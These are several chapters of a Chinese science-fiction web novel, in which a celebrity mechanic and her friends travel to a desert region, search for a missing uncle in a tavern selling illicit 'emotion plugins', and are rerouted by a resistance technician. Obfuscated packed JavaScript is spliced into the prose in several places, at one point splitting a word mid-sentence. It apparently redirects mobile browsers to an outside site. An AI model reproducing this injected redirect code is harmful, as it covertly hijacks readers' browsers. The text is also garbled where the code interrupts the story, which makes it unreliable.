贾思年噼里啪啦地敲着键盘,忽然意识到自己好像好久没有联系过林奈了,甚至还没有告诉过他接下来要去地面旅行。 嘶— 她手上停止了敲击,眼睛左右转了转。 林奈也很久没主动跟她联系了。 他应该知道她接下来要去地面旅行,毕竟报导铺天盖地。 他竟然也没来问? 贾思年皱着眉头,双臂环抱。 不会是觉得自己去不了,在生闷气吧? 坏! 贾思年拍了拍脑门儿,在手环上找到了林奈的联系方式,点击通话。 上载世界,金港。 林奈已经在家百无聊赖地躺了小半月了,这半个月里,他每天都能在投影空间里看见被精心包装的贾,说着被精心包装过的话。 林奈只听见了贾要去地面旅行。 可他去不了,他在地下街区只有一个金属球,这个球只能在工作室的地板上来回滚,上楼梯都是不可能的。 而且成了大明星之后的贾思年每天都很忙,她已经很久没联系过他了。 以后呢? 以后贾就都是大明星了,她要去地面旅行了。 上载世界里就只有他一个人了。 林奈躺在书房的小床上,屋子里没有开灯,床头亮起的小空间里还在回放贾思年今天的采访。 “铃铃铃铃铃……”林奈的脑袋里突然提示有通话。 他看到通话提示上的名字。 是贾思年。 他好像忽然如释重负,又忽然紧张了起来,他好像能感觉到自己的心开始咚咚跳,他猛地从床上坐了起来,清了清嗓子,按下了接通。 “喂?林奈,最近怎么样?”贾思年明亮的声音传来。 没有画面,也没有投影,应该是用手环拨打的。 “我还行,你呢?”林奈小心翼翼地回答。 “我忙死啦!不过采访的工作都结束了,休息一段时间,就可以去地面旅行了。” “哦……” “不说这些了,我买了个正经的受体机器人,但是在地面可能不方便经常充电,所以我又给你那个无聊的球加了两个翅膀,过两天看你什么时候方便,下载下来,两个都试一试。” ……什么? 林奈睁大了眼睛,一时说不出话。 “喂喂喂?你在听吗?” “啊……我在。” “我也……一起去地面吗?” “嗯?你不想去吗?”林奈好像能看见贾思年挑了挑眉毛。 “……没有。”林奈的喉结上下蠕动。 “我想,我想去。” 26. 黄沙之下(一) 索罗甘一号中心社区,地下一层,一号会客厅。 反着光的白色地砖搭配同样白色的墙壁,空旷的圆形大厅上方,嵌着一个巨大的红棕色半球拱顶,拱顶之下,摆了几张白色的真皮沙发。 贾思年余光瞥见身边的安娜腰身坐得挺直,不由得低头看了眼自己,赶紧也正了正身体。 对面穿着职业套装的男人已经说了将近二十分钟的场面话,说了半天没一句她爱听的,贾思年觉得自己脸上的微笑有些僵硬,她的视线滑落到面前的矮桌上,看着桌子上眨着绿色豆豆眼的机械球圆圆的头顶。 “天气预报显示,这周末有百分之八十左右的概率会放晴,三位可以先在中心社区稍作休息,等天气好了再去地面。”男人的话终于落到了她有点兴趣的部分。 “好的,”贾思年不想再听废话了,反正这样的会面总是必须要浪费一点口水,那还不如说点自己想听的,她抬手指了指头上的拱顶,“这里本来是可以看到地面的,对吗?” “呃……是的,”男人似乎没想到她会突然问这个,但仍然保持着礼貌的微笑,“因为沙暴,现在外面都是这个颜色,天气好的时候,这里是可以看见天空的。” “不过也没有像上载世界里那样的蓝天,晴天的时候天空也是灰蒙蒙的。”男人补充。 “能看见灰色的天空就已经很不容易了。”贾思年又露出了微笑。 “是的,”男人表示赞同,“现在能看见天空的地区,就只有索罗甘沙漠和鲁米肯特雪原了,过去我们这里每年都会迎接很多来自科斯塔联盟的客人,不过您也知道,最近两年南边不太稳定,客人也就少了些。” “我懂您的意思,我会多在社交媒体上发些视频来宣传的,我从昨天下了飞行器到现在,一直都能感受到北部很安全。”贾思年说道。 “您能喜欢真是太好了!”男人非常高兴,向贾思年伸出手去,“我代表阿尔弗雷德总统再次对您表示感谢!” “您和总统先生都太客气了。”贾思年握住他的手轻晃了两下。 “我们还给您准备了住宿和向导,您看……” “不必麻烦了。”贾思年抽回了手,打断了他,“我们在来之前已经订好了住处,也预约了地面的向导无人车。” “您准备得太充分了,那您之后有什么需要,可以随时和我联系。”男人从手环拉出了一个投影的数字在空中。 “好的,”贾思年把投影拉到了自己的手环上,露出了夸张的笑,“真是太周到了!” “还有一件事……”男人说话有点吞吞吐吐,“如果您自行住宿的话,在中心社区游玩时,请注意不要引起人群聚集。” “您是全世界的明星,在我们这里也很出名。”男人露出抱歉的微笑。 “我懂,请放心。”贾思年眨眨眼睛。 众人又一次来到会客厅的玻璃门口,贾思年戴上了帽子和口罩,“那我们走啦!” “祝三位旅行愉快!”男人在身后向她们挥手。 三人上了门口的悬浮车。 贾思年冲着无人驾驶席说出了酒店的地址,解开外套的拉链,好像从拉链裂开的缝隙漏了气一样,整个人瘫在了座椅上。 “你不用一直抱着林奈,”她转头看着安娜膝盖上的金属球,“他现在有手有脚,甚至还能飞。” “噢,”安娜不好意思地笑笑,把金属球放到了她们之间的座椅上,“我忘记了,还以为是在修理铺的时候。” 虽然贾思年给林奈买了最新款的受体机器人,但林奈分别体验过之后,还是选择了贾思年改装的金属球。现在它有可以伸缩的柔性胳膊,还有一对能折叠起来的机械翅膀。 “当然选会飞的!”林奈在工作室里这样回答贾思年。 贾思年表面看起来无所谓,反正受体机器人也给他买了,他想用什么就用什么。 但是金属球毕竟是自己亲手改装的,林奈更喜欢她的作品,还是让她在心里偷偷把尾巴翘到了天上。 林奈好像看见了贾思年心里那只雄赳赳气昂昂的猫,他脸一红,“你别得意!”工作室里响起了机械生成的娃娃音。 悬浮车在酒店前停下,贾思年推门下了车。 索罗甘一号社区和十三区的构造大同小异,社区中央是干净整洁的中心社区,周围则是脏乱潮湿的下等城区。贾思年听安娜的建议把酒店订在了中心社区的边界,眼前是装修简约大方的建筑,身后就是下等城区的商业街。 街边的商铺挂着五颜六色的招牌,有人沿街推着车在叫卖食物和工艺品。无所事事的年轻人聚在巷子里,有的向着中心街区遥望,有的打量着路上的行人。 “所以为什么选在这里了?”金属球的翅膀在空中振动,林奈眨了眨眼睛。 “安娜说住这儿好。”贾思年转身走上台阶,旁边的服务机器人从车上取下了行李,放置在自身的平台上。 “因为中心城区在哪里都是一样的,林奈先生,真正的维肯特王国都在下等城区里。”安娜回答道。 然而她忽然意识到自己说错话了,慌忙地小声说道:“是索罗甘北部解放区。” 贾思年立刻警惕了起来,她环顾四周,周围没有人,她拍了拍安娜的肩膀,“没事,别在意。” 三人走进了大厅,林奈忽然想起了什么,金属球仰起脸对着贾思年,“贾,我拜托你的事情……” “你母亲的事对吧,”贾思年按下电梯按钮。 “很容易就查到了,但解释起来不太容易。” “嗯?”金属球突然出现了两根眉毛,聚在一起形成了一个对号。 “杰斯敏·拉斯洛,拉斯洛家族的第四个孩子,官方记录死于28年前。”贾思年回答道。 “怎么会?……”金属球的眉毛更聚集了,形成了一个v字。 “按照你的说法,你母亲大概发现自己怀孕后不久就离开拉斯洛家族了,然后一个人生下了你。”叮的一声,电梯门打开,三人走进了电梯。 “为什么怀孕了要假装死掉?”一旁安静听着的安娜睁大了眼睛。 “你可能不知道,拉斯洛家族是做人体改造的,他们专做基因编辑和试剂这一块。”贾思年按下楼层数,电梯开始缓缓上升。 “基因改造和意识上载,本质上就是水火不容的,科斯塔联盟现在虽然需要基因改造人来支撑基础建设和设施维护,但最终还是要实施全人类的上载,大方向就是这样的。”贾思年从电梯里的镜面看着安娜的眼睛。 “这听起来…基因改造有些费力不讨好。”安娜偏过头。 “是的,所以拉斯洛家族和上载集团虽然表面上都对联盟效力,但背地里向来互相看不上。”贾思年忽然转头看着浮在她和安娜之间的机械球。 “而你的名字,林奈,你知道意味着什么吗?” 绿色的豆豆眼看着电梯的地面,好像陷入了沉思,“……我的父亲大概与林奈家族有关,而我的母亲是拉斯洛家的人。” “是的,所以虽然很快就查清楚了你母亲的身份,但我觉得,寻亲这事你得缓缓。” 叮,电梯停下,电梯门缓缓开启。 “然后你说的那位剑术大师,他在几年前也去世了,因为是坚定的实体拥护者,死之前也没上载。” “所以在你恢复全部记忆之前,我觉得你最好是留在我们身边。” 金属球不语,三人走出了电梯。 “别说这些了,想想一会儿吃什么吧!”贾思年又露出了夸张的笑。 “哦……”安娜还在消化刚刚听到的不得了的豪门八卦,愣愣地点点头。 三人很快就出现在了酒店对面热闹的下等城区里,临街的店铺里传来食物好闻的气味,贾思年皱着鼻子嗅了嗅。 “好香啊!吃这个吗?”她看着安娜指了指旁边的小饭馆。 林奈浮在空中左顾右盼,试图闻到香味,可惜金属球没有嗅觉,他很快开始垂头丧气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537555|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,不过我们先去前面的巷子里买饮料吧。”安娜抬手指向前方。 “你以前来过这里吗?”贾思年跟在安娜身后问道。 “我舅舅在这里卖果汁,去科斯塔联盟之前,我和弟弟曾经在这里住过几天。”安娜看起来很高兴,拉起贾思年的手就向着前方的巷子走去。 安娜的舅舅……吗? 贾思年没听安娜提起过她的家人,只知道她会把演出赚的钱转给家里一部分,这种事只要安娜不提,她向来不问。 安娜兴冲冲地拉着贾思年走进了巷子里,迎面就和几个游手好闲的年轻人四目相对。 诶? “看来你舅舅不在这里卖果汁了。”贾思年笑着提起安娜,立刻转身往回走去。 林奈伸出细细的柔性胳膊,也一起提着安娜的肩膀。 “怎么会这样呢?”安娜低下了头,拍拍自己的外套,“上周我还和弟弟联系过,他说舅舅还在这条街上啊……” “可能只是今天没来?”贾思年拉着安娜进了刚才的饭馆。 正值饭点,店里几乎坐满了人。 “你要回来,没有告诉他们吗?”贾思年走到一张空桌,给安娜拉开座椅。 “我说了,但是自从我说了要回来,他们就再没回复过我了。”安娜心事重重,坐了下来。 嗯?这怎么听着像诈骗? 贾思年隐隐觉得哪里不对,她破天荒地开口问起安娜的家事,“你弟弟现在在哪?” “在科斯塔联盟第十区,当初舅舅送我们去了科斯塔联盟,弟弟在第十区读书,我去了十六区打工赚钱,后来没过多久,十六区就关停了,舅舅回了索罗甘,我兜兜转转就去了十三区。” “那你平时转账都是给谁?” “给弟弟,弟弟还在上学。”安娜小声回答道。 忽然外面的街道上响起了叫喊的声音,打断了二人的对话,贾思年向门外望去,看见一个年轻人正在被一群穿着制服的治安官和机械警察追赶。 人们的目光都被吸引了过去,热闹的集市和人声鼎沸的饭馆,好像都瞬间凝滞了。 然而年轻人没跑出多远,就被两个机械警察按在了地上。 一个穿制服的人向着年轻人啐了一口,恶狠狠地说着当地的话。 抓小偷吗?贾思年听不懂。 “他们在说什么?”她悄声问旁边的安娜。 “……他说他欠钱不还。”安娜小声回答。 贾思年看着机械警察们把地上的年轻人拖走,他大声叫喊着挣扎。直到治安官队伍里有人听得不耐烦了,抄起电棍在他的脖子后面来了一下,那人立刻失去了意识,软趴趴地瘫在了地上,好像电晕了准备放血的猪。 这也太超前了吧!欠钱不还是这么抓的吗? 年轻人被抬上车带走了,时间好像又恢复了流动,食客们又开始一边交谈一边往嘴里送食物,集市又变得热闹非凡。 就……就这么被带走了?没人觉得不对吗? 贾思年看着警车远去的背影发愣。 “唉……两位吃点什么?”饭馆的老板忽然站在她们身边问道。 “你看着点吧,安娜。”贾思年把点菜单递给她。 “外面这是怎么了?”贾思年转向老板问道。 “欠债还钱,天经地义。” “怎么这种事经常发生吗?大家看起来好像见怪不怪了。”贾思年追问。 “不好讲,不好讲。”老板摇摇头。 “你们是……过来旅行吗?”老板透过眼镜片看着贾思年。 “是的。”贾思年点点头。 “要是有人给你们什么情绪插件,不要理他。”老板俯下身小声说道,然后他拿起安娜画好的点菜单,转身往后厨走去。 什么情绪插件? 贾思年脑袋里响起了上载集团那些烦人的广告,她急忙甩了甩头。 这怎么都卖到地下社区来了? 27. 黄沙之下(二) 老板端上了饭菜,贾思年又闻到了刚刚在门外闻到的香味。 “老板,您认识奥马尔·艾尔萨耶德吗?他以前在这条街上卖果汁。”安娜抬起脸,鼓起勇气问道。 “不认识。”贾思年注意到老板的眼角在不经意间颤了一下,然后他立刻转身回到了收银台之后。 安娜觉得有点奇怪,还想趁着上菜的机会再跟老板搭几句话,然而后面的饭菜就都是另一位店员端上来的了。 “吃完饭再过去看看吧,也许能打听到你舅舅的下落。”贾思年瞥了一眼收银台后老板光亮的头顶,拍了拍安娜的肩膀。 “好……” 贾思年不想让自己看起来很八婆,但是又实在没法袖手旁观。 她觉得再次开口求助对安娜来说也许会很艰难。毕竟在安娜心里,贾思年接下阿梅利亚王女的委托,就有一部分她的缘故,这种时候再拜托贾思年去找舅舅,就显得太蹬鼻子上脸了。 但是贾思年又于心不忍,只能在心里默默承认自己就是个八婆。 吃过饭后,地下社区已经进入了夜间模式,人造阳光的亮度被调低,街边的路灯亮了起来,店铺的招牌也亮起了彩灯,街上依旧热闹非凡。 三人又一次来到了刚才的巷子口,贾思年远远地看见那几个年轻人依旧聚集在那里。 “你和林奈在这等我,我过去问问。” 贾思年走进了昏暗的巷子,为首的黄毛见了有人影过来,又一次看到了戴着帽子和口罩的贾思年。 “小哥,请问你知道这里有个卖果汁的大叔,叫奥马尔·艾尔萨耶德吗?”贾思年走过去,问向黄毛。 “卖果汁的奥马尔?”黄毛带着很重的口音,他抬了抬眉毛,上下打量着她。 他旁边的年轻人闻声也转了过来,和黄毛一样打量着贾思年。 “他早就不在这了,你是要买货吗?” 买货?什么货? “对。”贾思年回答道。 “前面有个沙鹰酒馆,你去了说要找卖果汁的奥马尔就行了。”黄毛往巷子外指了指。 “多谢!” 贾思年转身走出了巷子。 “沙鹰酒馆。”贾思年走到街对面,对安娜说。 “他们说去那里找卖果汁的奥马尔。” “可是舅舅没跟我说他现在开酒馆了啊?”安娜很疑惑。 “过去看看吧。”贾思年沿街走去。 贾思年看着路边的招牌,她不认识维肯特语,只能看着招牌底下的祖玛拉尼语注释,但是有的注释纯纯瞎翻译,看得她云里雾里。 “你来找吧,我压根不认识这些字。”她转头对安娜说道。 “我看到了,在前面。”浮在空中的金属球突然发出声音,加速向前飞去。 “在哪?”贾思年跟在林奈后面,走到了两家店铺中央,面前是一堵黑色的墙,她仔细看了看才发现似乎是一扇门。 “你确定?”她抬了抬眉毛,看向林奈。 “我刚才搜索了这条街的地图,沙鹰酒馆就是这里。”金属球眨了眨眼睛。 贾思年将信将疑地推开了门,眼前一片漆黑,她打开手环的手电筒功能,看到了向下的阶梯,台阶之下,还有另一道黑色的门。 搞得还挺玄乎的。 贾思年用手环四处照了照,发现台阶周围的墙面都被漆成了黑色,手电的光照到了天花板上,贾思年忽然看到了一双巨大的眼睛在盯着她们。 “啊!”安娜吓得惊呼。 “是画上去的图案。”贾思年仔细看了看。 “是一只鹰的脸。” 安娜顺着手环的光向上看去,果然看到了鹰的嘴和脸上的纹路,她松了一口气。 “为什么要画这样的东西,怪吓人的。” “但应该说明我们找对地方了。”贾思年说着走了下去。 天花板上的鹰似乎在看着她们。 贾思年推开里面沉重的门。 酒馆里灯光昏黄,人声鼎沸,贾思年稍稍松了一口气,带着安娜径直坐到了吧台前。 她看着桌上的酒单,对面前叮叮当当地调酒的店员说道,“你好,我们来找卖果汁的奥马尔。” 店员停下了手上的动作,打量着她和身边的安娜。 “你们来买货?” “对。”贾思年放下酒单。 “你,带她们去后边。”他对着旁边的一位服务生小声说道。 三人跟着服务生穿过了后厨的门帘,旁边又是一道暗门,服务生虹膜解锁了暗门,门后一片漆黑,脚下又是通往地下的台阶。 这地方消防安全绝对不合格,贾思年淡淡地想。 服务生打开手环上的手电,带着三人往楼下走去,透过口罩,贾思年隐约能闻道走廊里有一股霉味,楼下是一排房间,看起来好像是员工宿舍和储物间,服务生敲响了其中一扇门。 门吱呀一声开了,一个身形魁梧,左臂装着义肢的男人站在了门口。 “她们来找卖果汁的奥马尔。”服务生说道。 “两个人?进来吧。”男人的声音粗哑。 屋内灯光昏暗,墙壁上贴着彩色的灯带,乱七八糟地喷着荧光的涂鸦。贾思年一进屋,隔着口罩都闻到了一股臭袜子混着头油的难闻气味,她看见房间里摆着几个老古董云端接入仓,有一些的显示屏亮着灯,明显正在使用中。 “两位是第一次来吧?”男人从旁边的电脑里调出两组序列号漂浮在空中。 “前三次不收费,你们进了上载世界之后直接在背包兑换就行。” “我们能带走吗?不习惯用外面的接入仓。”贾思年问道。 “不行。”男人斩钉截铁,“只能在店里用。” 金属的义肢立刻收回了那两组序列号。 “其实……我们不是来买货的。”贾思年摘下口罩,屋子里的酸臭味更明显了,但她还是露出了微笑。 “我们来找一个叫奥马尔·艾尔萨耶德的人,他是我朋友的舅舅。” “就是她的舅舅吗?”男人上下打量着安娜,“喂,你叫什么名字?” “……安娜·阿勒·卡玛尔。”安娜被盯得浑身不自在,小声回答道。 “他倒是提过有个能赚钱的外甥女,不过他现在不在北边。”男人重重地坐在了旁边脏兮兮的沙发上。 “他去哪里了?”安娜睁大了眼睛。 “他去南边卖货了,这里现在由我看着。”男人吸了一大口电子烟。 “如果你们不买货,就赶紧滚蛋。”他不耐烦地挥了挥金属义肢,贾思年听到了轻微的吱呀吱呀的声响。 “您的腕关节该上油了。”贾思年指了指他的义肢。 “刚才您抽烟的时候,食指指尖活动得不自在,这款是五六年前的款式了,您可以找师傅给你换个扭簧。” 男人挑了挑眉,抬眼看着她。 “或者你自己平时有备用的,我也可以给你换。”贾思年摘下帽子,露出夸张的笑。 男人看着她的脸,忽然皱起了眉毛,“我怎么好像在哪里见过你……?” “您认错了吧?”贾思年挠了挠头,“不过确实有人说过我长得有点像最近那个网红。” “噢!对!是像那个网红,叫什么来着……”男人摸着自己下巴上的胡茬琢磨。 “这都不重要,您有备用的零件吗?”贾思年问道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537556|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你能修?”男人的眼神里多了一丝不屑和玩味。 “我在科斯塔联盟开修理铺的,要是修不好,我赔钱给您。”贾思年看着他的眼睛说道。 “好!”男人一拍大腿,站了起来。 嘿嘿,轻松拿下!贾思年在心中窃喜。 三人跟着男人走到了里间,古董环保灯在头顶偶尔地闪烁,凌乱的卧室里摆着一张堆满了东西的桌子,男人拉开抽屉,从一堆杂物里翻出了一个塑料袋,又从另一个掉了门的柜子里翻出了一个工具箱。 “备用件都在里面了,你看有没有吧。”他把袋子叮铃咣啷地扔给贾思年。 贾思年两眼一黑,哪有人把所有配件都放在一个袋子里的啊!但她还是得保持微笑,在一堆零件里翻找了半天,勉强找到了一个指尖用的扭簧。 “有的,先生。” 贾思年给男人卸下左臂,放在了凌乱的桌子上,她拆开指尖的外壳,在灯下仔细观察里面的结构。 “先生,奥马尔去南边卖什么货啊?”她有意无意地问道。 “在这卖什么,去那就卖什么呗,他还能有什么本事。”男人轻蔑地回答。 贾思年精准地找到了那个疲劳老化的扭簧,她把它拆了下来。 “实不相瞒,我朋友一直以为她舅舅还在巷子里卖果汁,那边的小哥告诉我们来这里的时候,给我们吓了一跳。”贾思年笑道。 “哈哈哈哈,卖果汁?他从科斯塔联盟回来就不卖果汁了。”男人大声笑道。 贾思年小心翼翼地把新的扭簧装了回去,她活动了几下手指,又从工具箱拿出了润滑剂。 “那是回来做什么呢?卖插件吗?”她把润滑剂细长的管口插进了义肢的手腕中。 “合着你们不知道这是干什么的啊?”男人的语气又露出了轻蔑和嘲笑。 “当然不知道啊,我还在纳闷为什么地下社区也开始卖情绪插件了。”贾思年把义肢的外壳装好,顺手从旁边的纸抽里抽了两张纸擦拭。 “算啦,一会儿送你一个,但是你只能自己用。”男人摆了摆手。 贾思年帮他把义肢重新装上,男人活动了几下手腕和手指,似乎很满意,他起身带着贾思年又来到了外面的电脑前,给了贾思年一组序列号。 “拿回去试试吧,这也算我们这的特产。”男人对她说道。 “不过你要是敢拿出去卖。”男人忽然盯着她恶狠狠地说,“那你跑到天涯海角都得死。” “哈哈,您说什么呢,那当然是小命要紧。”贾思年笑着把序列号拖进了手环里。 “多谢老板了,您生意兴隆。” 忽然有接入仓断开连接的声音,贾思年回头看去。 “喂!到时间了啊,最多再待一小时,一会儿客人多了没位置,你就赶紧滚蛋!”男人对着接入仓大声吼道。 “那我们就不耽误您做生意了。”贾思年拉着安娜离开了房间。 “这可不像什么正经地方。” 三人走在回酒店的路上,贾思年开口说道。 “要我看看那个插件吗?”金属球发出声音。 “不用了,我大概能想到这是个什么东西,可能需要找个专业人士分析一下。”贾思年摆了摆手。 “那……奥马尔舅舅他……”安娜跟在贾思年身后,眼睛看着她的鞋后跟。 “反正他现在不在这里,又不回复你的消息,不如去南边碰碰运气。”贾思年转身对安娜说道。 “他去卖货,总要去有人的地方吧?南边能住人的地方一共就那么一点,也许能碰上也说不定。”贾思年拍了拍安娜的肩膀。 “嗯……”安娜轻咬着嘴唇,点了点头。 28. 黄沙之下(三) 索罗甘一号中心社区,地表游客出发大厅。 空旷的大厅正中央嵌着圆形的金属拱顶,拱顶下停着一辆加长版地面旅行装甲车,钢铁的外壳上漆着红黑的配色,车身上用祖玛拉尼语写着巨大的“索罗甘北部解放区”字样。 贾思年和安娜穿着红色的连体防护服,听着面前的引导机器人讲单口相声。 “地表的空气中有一些有毒的物质,所以需要穿戴防护服和面罩才能在地面活动,二位请检查服装是否和皮肤留有空隙,防护服有自清洁功能,太紧不利于循环。” “可以的。”贾思年和安娜回答道。 贾思年的视线穿过眼前的大厅,看着后面黑暗中的车位上停着一排排几乎一模一样的旅行装甲车,好像一群暗中蛰伏的猛兽。 等了六天了,地表终于放晴了。 “建议您在车上也穿着防护服,以应变随机情况。另外,林奈先生,由于您的受体机器人属于民用器械,我们不建议您长时间在车外活动。” 引导机器人为她们打开车门,贾思年和安娜上了车。 “整个行程完全按照规划路程自动行驶,并配有解说,建议三位前排落座,可以打开车顶透视涂装,方便欣赏景观。” 机器人的声音转移到了车内,贾思年看着装甲车里的房车配置,不禁觉得有钱真好,她注意到身边的过道上有个小门,推开发现是里面是带淋浴的卫生间。 她本以为地面上会环境恶劣,条件艰苦,没想到只要有钱,想要天上的星星旅游公司都能帮你摘下来。 贾思年打开了别在防护服领子上的摄像头,开始在旅行车里录像。 “如果您觉得满意,可以在社交媒体上给我们一个好评吗?”车内的自动驾驶系统发出声音。 “没问题!”贾思年一口应下。 “旅程即将开始,请各位在前排座椅落座。” 车门轻轻关闭,前面的按钮和面板亮了个遍后又暗了下来,贾思年感到自己在上升,她把车顶涂装改成了透明模式,发现是旅行车下面的平台在缓缓上升。 平台上升到边缘与拱顶契合,金属的拱顶开始向下移动,好像向下剥落的蛋壳。 贾思年抬起头,看到蛋壳外逐渐露出的蓝灰色天空。 灰色的天空下,是无边无际的黄棕色沙漠。 “哇……”三人异口同声。 “安娜也是第一次看到沙漠吗?”贾思年转头问道。 “对呀,这种旅行很贵的。” “我还以为住在这里总会有机会看到。” “嗯……南边也许能见到,但是现在也不好说了。” 旅行车的自动驾驶缓缓启动,加长的装甲车开始在沙漠里奔驰,车里响起了上个世纪的流行音乐。 “Alltheoldpaintingsonthetombs” “Theydothesanddancedon’tyouknow” “Iftheymovetooquickohwheyoh” 贾思年看着车子的两边扬起黄棕色的沙浪,旅行车向着沙漠深处进发。 “哦咦哦!”她大声跟唱。 “接下来我们将向着沙漠中心行驶,第一个景观是……” 忽然,车内的导航语音开始有电流的声音,很快混着音乐变得叽哩哇啦无法辨识,眼前的一排仪表忽然闪了一下,车顶的透视涂装消失了,整个旅行车内陷入了一片黑暗,只能看见林奈发光的绿色眼睛。 可车子并没有停下,依旧在沙漠上行驶。 “啊……”安娜惊呼。 贾思年在黑暗里抓住了安娜的手,“别怕,我猜……” “喂喂喂?能听到吗?”车里的语音忽然出现了一个年轻女人的声音。 “能听到能听到!请问你……”贾思年在黑暗中发问。 “噢噢噢!成功啦!轻松拿下!”没等贾思年说完,年轻的女人好像隔着语音已经开起了香槟。 “我是伊芙·索拉里,抵抗军的技术人员,你们叫我伊芙就行啦。” “你好伊芙,我是贾思年,同行的还有安娜和林奈。” “居然真的是贾思年!天呐!一开始听说是你我还以为是那帮人又在唬我……” “那个……伊芙,”贾思年打断了女人的话。 “能请你先帮我们把灯打开吗?” “啊哦,抱歉。” 车子里重新亮了起来,各种仪表恢复了正常,贾思年又一次看见了透视涂装外的沙漠和灰蒙蒙的天。 “谢谢。”贾思年松了口气。 “刚才放什么歌来?……噢!”语音里又响起了女声。 “Goldcrocodilesohwheyoh” “Theysnaptheirteethonyourcigarette” “哦咦哦!”语音里的女人跟着音乐大声跟唱。 贾思年倒是没觉得她不应该突然唱歌,毕竟她自己刚才也在唱,她也没觉得她唱得难听,但现在是不是好像有什么比唱歌更重要的事情啊! “伊芙,停一停,能先说说南边的情况吗?”贾思年又一次打断了她。 “哦哦,”伊芙调低了音乐的音量,“接线员应该都跟你说过了,北边把水电系统都停了,现在全靠夏曦国和安比克索联邦的空投支援。” 她的语气充斥着无所谓,好像这些事跟她都没什么关系一样。 不过听着她没有一点口音的祖玛拉尼语,贾思年觉得她可能确实是无所谓。 “不过最近情况不一样了,北边之前一直对夏曦国和安比克索的支援机睁一只眼闭一只眼,最近忽然开始管控了。”伊芙的声音终于变得正经了起来。 “嗯?”贾思年疑惑,“这怎么管控?” “派轰炸机来,他们不管支援机,但是会炸投下来的物资。” 这么狠!是要赶尽杀绝了? “我们呢?你打算把我们带到哪里去交接?”贾思年问道。 “当然是来南边跟大部队会合啦。” “大部队???哈???等等!之前签字的时候只说要我假装和你们交接,怎么现在真的要去南边了?”贾思年瞪大了眼睛,向上盯着车里的摄像头,她知道伊芙能通过摄像头看见她们。 “何况我还带了朋友一起呢,我必须保证他们的安全。” “嗨嗨嗨,别突然这么严肃嘛!”伊芙在语音里大呼小叫,“没有你想得那么严重啦,你现在坐的是北边最顶级的旅游公司的车,没人会找你麻烦,到了南边我也会给你一路放行的。” “但是这并不在我的委托范围内。”贾思年的眼睛恢复了正常的大小,她依旧盯着那个摄像头,但却露出了微笑。 安娜在心里捏了把汗,她知道贾思年只有生气了才会这样,眼神冷得像刀子,脸上却挂上她最标志的灿烂笑容。 安娜握紧了贾思年的手。 “本来是按你说的这样安排的,”伊芙的声音收敛了起来,“但你现在是大明星了,王女大人觉得你亲自过来效果会更好。” “你放心!不会让你白来的!王女大人说付你五倍赏金!”伊芙的声音又变得跳脱了起来。 好好好,又是五倍工资是吧!上一伙跟贾思年这么说的人可是狠狠地坑了她一把! “你都说了我现在是大明星,你觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537557|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得我会在意这五倍赏金吗?” “那我也没办法咯,你当初都选了接下委托,这事横竖你都脱不了干系了,不如好人做到底吧~”伊芙说不过,直接开始耍无赖。 理是这么个理,但是话是这么说的吗!贾思年属实对这女人火大,她强忍着关闭自动驾驶直接掉头回去的冲动,一把关掉了导航的语音功能。 车里忽然变得可怕的沉寂。 安娜想要安慰她几句,但又不知道说点什么好,她觉得自己果然给贾思年惹了大麻烦,忽然觉得无地自容。 “你又怎么了?安娜!”贾思年意识到了安娜的反应,但因为正在气头上,一不小心吼了出来。 “……是我给你添麻烦了。”安娜低着头,长长的头发垂下,看不见她的脸,隔着防护手套,她的手指不断地搅在一起。 贾思年忽然意识到自己说错话了,头上两米高的气焰被一盆凉水浇灭,她连忙摆摆手,“不不不,跟你没关系。” “我只是单纯地不爽这个女人罢了!”贾思年冲着摄像头恶狠狠地说。 “不过她说得没错,这事我是甩不掉了。”她拍拍安娜的肩膀。 贾思年看着安娜挺拔的鼻尖,摸了摸她的脑袋,“没事的,我说过来这里不是光为了你。” “Slideyourfeetupthestreetbendyourback” “Shiftyourarmthenyoupullitback” “Lifeishardyouknowohwheyoh” 车里忽然又响起了那首上个世纪的流行音乐。 贾思年忽然笑了,玩味地看着顶上的摄像头。 她忽然觉得自己能跟这个叫伊芙的女人聊得很来也说不定。 她又重新打开了导航的语音。 “喂!你不是语音导航吗?给我们讲讲第一个景点是什么。”贾思年对着摄像头说道。 “啊?这个这个……前面第一个景点叫……中部原住民居住区……我查查噢……”伊芙的声音慌乱了起来,“始建于325年前,然后……” 安娜似乎能想象到伊芙手忙脚乱查资料的场景,不禁笑出了声。 呼,可算是哄好了。 贾思年看着她的眼睛,握了握她的手。 “已经到了中部吗?这车开这么快吗?”金属球忽然出现在贾思年和安娜中间,挪着身体停到了贾思年的膝盖上,绿色的眼睛眨了眨。 “虽然车开得确实不慢,但是北边地区本来就比较小,”伊芙回答,“北边更适合生存,南边环境恶劣,但面积更大。” 